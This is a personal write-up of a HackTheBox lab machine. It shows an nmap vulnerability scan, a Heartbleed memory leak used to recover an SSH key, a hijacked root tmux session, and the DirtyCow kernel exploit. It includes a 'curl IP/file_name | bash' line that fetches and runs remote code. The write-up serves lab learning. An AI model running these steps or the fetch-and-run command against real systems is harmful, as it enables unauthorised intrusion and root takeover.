HTB: Valentine (Linux) Write-up Exploiting heartbleed/finding juicy bash hisotory & dirtycow for PE

Today, I'm getting into the Valentine Box on HTB. (The V-day is also coming close!)

As usual, I attempted to hack it myself and used IppSec's walkthrough for reference.

What I learned today/ Reminder

  • How to identify & exploit heartbleed

  • vim set:paste option

  • ssh naming convension -> username_key

  • ssh private key - make sure to paste everything! (I forgot to paste the last line and couldn't log in for a min) -> ssh -i privatekey

  • nmap --script vuln -oA - this will run a vuln scan

  • Confirm the hearbleed vulnerability by:

    sslyze --heartbleed -> sslyze has more options

  • heartbleed

    • running with -x shows the hex views \

    • change the payload length around to see if it leaks some important info (kinda pain in the ass)

  • To see all root running processes, run

    ps -ef | grep root

  • Running a tmux file: tmux -S /.devs/dev_sess

tmux is a terminal multiplexer: it enables a number of terminals to
     be created, accessed, and controlled from a single screen.  tmux
     may be detached from a screen and continue running in the
     background, then later reattached.

     When tmux is started it creates a new session with a single window
     and displays it on screen.  A status line at the bottom of the
     screen shows information on the current session and is used to
     enter interactive commands.
  • dirtycow exploit creates a root account with the username, firefart with the password specified! - after the exploit, you can switch user to the new account: Easy win!

Nmap Result:

Host is up (0.11s latency).
Not shown: 997 closed tcp ports (conn-refused)
22/tcp  open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
|   2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_  256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp  open  http     Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)
443/tcp open  ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after:  2019-02-06T00:45:25
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_ssl-date: 2022-01-27T04:16:16+00:00; -1s from scanner time.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: -1s

HTTP Enum:

Gobuster-ed it:

Found /dev /encode /decode

Convert this to ASCII


Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46


Found the decode and encode pages.

It looks like it's base64 decode and encryption scripts that they're running.

I went ahead and did more server enum!

Since 2.2.2 is end of life, let's run a vuln scan!

nmap --script vuln -oA (NEW)

80/tcp  open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum: 
|   /dev/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'
|_  /index/: Potentially interesting folder
443/tcp open  https
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| ssl-heartbleed: 
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|     References:
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|   /dev/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'
|_  /index/: Potentially interesting folder
|_http-dombased-xss: Couldn't find any DOM based XSS.
| ssl-ccs-injection: 
|   SSL/TLS MITM vulnerability (CCS Injection)
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
|       does not properly restrict processing of ChangeCipherSpec messages,
|       which allows man-in-the-middle attackers to trigger use of a zero
|       length master key in certain OpenSSL-to-OpenSSL communications, and
|       consequently hijack sessions or obtain sensitive information, via
|       a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|     References:
| ssl-poodle: 
|   SSL POODLE information leak
|     State: VULNERABLE
|     IDs:  BID:70574  CVE:CVE-2014-3566
|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
|           products, uses nondeterministic CBC padding, which makes it easier
|           for man-in-the-middle attackers to obtain cleartext data via a
|           padding-oracle attack, aka the "POODLE" issue.
|     Disclosure date: 2014-10-14
|     Check results:
|     References:

Confirm the hearbleed vulnerability by:

sslyze --heartbleed

What's heartbleed?

run it with -x option to see the hex view.

Change the payload length to see something comes up.

0x20 -> 2000

0xff -> max

hmmm... didn't work. Let's run it for 100 times with -n 100 options



Decode it with the web app thingie.

Got the password?


chmod 600 hype.key so we can use that key. (can read and write but not execute)

try to ssh into it

ssh -i hype.key hype@IP

(Guessing the username since we see the ssh naming convension on the file username_key)

I'm in user "hype"!

--- -

Privilege Escalation


curl IP/file_name | bash (to execute it)

Couldn't find much at glance

run history:

What's tmux -L dev_sess

To see all root running processes, run

ps -ef | grep root

we see that it's owned by root but can be ran by us!

Let's run the tmux file with:

tmux -S /.devs/dev_sess

and now we are running it as root!

Priv Esc Method2: DirtyCow

Download the exploit via

paste it through vim - :set paste (NEW)

Find a compile method from the file: grep gcc dirty.cow

run it.

and now the password is an account is created with the username firefart with the password firefart.

let's try switching the user to firefart

Valentine is now hacked with the root user, firefart!

Last updated